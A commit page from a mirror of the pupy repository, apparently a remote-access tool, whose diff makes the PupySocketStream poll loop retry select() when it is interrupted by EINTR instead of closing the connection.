mirror of https://github.com/n1nj4sec/pupy.git
Handle select error (EINTR) properly
This commit is contained in:
parent
26af5ad760
commit
777d5a71d2
|
@ -79,9 +79,14 @@ class PupySocketStream(SocketStream):
|
|||
|
||||
def sock_poll(self, timeout):
|
||||
with self.downstream_lock:
|
||||
to_close = None
|
||||
to_read = None
|
||||
|
||||
while not (to_close or to_read or self.closed):
|
||||
try:
|
||||
to_read, _, to_close = select([self.sock], [], [self.sock], timeout)
|
||||
except socket.error:
|
||||
except select_error as r:
|
||||
if not r.args[0] == errno.EINTR:
|
||||
to_close = True
|
||||
|
||||
if to_close:
|
||||
|
|
Loading…
Reference in New Issue